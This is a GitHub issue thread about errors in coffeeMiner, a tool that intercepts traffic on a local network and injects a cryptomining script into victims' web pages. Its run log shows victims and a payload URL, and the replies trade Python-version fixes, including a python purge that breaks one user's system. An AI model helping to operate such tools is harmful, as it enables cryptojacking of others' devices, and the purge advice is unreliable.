coffeeMiner
coffeeMiner copied to clipboard
injector.py error sintax
hello,
when i run a coffeeminer get the following error:
root@kali:~/coffeeMiner# python3 coffeeMiner.py 192.168.0.1 gateway: 192.168.0.1 victims: ['192.168.0.4'] Loading script: injector.py http://192.168.0.10:8000/script.js
Script error: injector.py line 11: invalid syntax
Proxy server listening at http://0.0.0.0:8080 192.168.0.4:57793: clientconnect 192.168.0.4:57795: clientconnect 192.168.0.4:57800: clientconnect 192.168.0.4:57801: clientconnect
and not inject the script.js
can you help me plz ?
same issue when using nethunter armhf on my Android but when inside a vm on laptop no issues
after further investigation i believe its a system link error.
if you type root@kali:/ python injector.py
| root@kali:/ python2 injector.py
you will see error line 11
on the other hand if you type root@kali:/ python3 injector.py
there is no errors reported
so what this means if i am correct is its being ran with the python v1 | v2 instead of v3 as for a fix what i'm going to try is uninstall python v1 & v2 & v3 then re run install.sh
hi ragekillen, hi all i have same problem invalid syntax line 11 but when i try to remove all version of python with this command: apt-get autoremove python apt purge python apt-get autoremove python3 apt purge python3 my server lost graphic interface and i have dependancy error.
please help me
Try running it as python3 injector.py